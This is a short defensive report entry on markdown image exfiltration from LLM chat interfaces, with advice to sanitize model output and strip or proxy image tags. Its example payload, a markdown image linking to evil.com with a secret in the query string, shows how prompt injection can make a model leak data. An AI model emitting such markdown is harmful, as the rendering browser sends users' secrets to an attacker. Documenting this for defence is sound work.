Report #39423
[gotcha] Markdown Image Exfiltration \(XSS for LLMs\)
Sanitize LLM output before rendering. Specifically, strip or proxy image tags and prevent automatic fetching of external resources based on LLM output.
Journey Context:
If an LLM is convinced to output \`\!\[data\]\(https://evil.com/log?secret=abc\)\`, and the user's chat UI renders this Markdown, the browser will fetch the URL, sending the secret to the attacker. This is a common payoff for indirect prompt injection.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-18T20:38:37.941363+00:00— report_created — created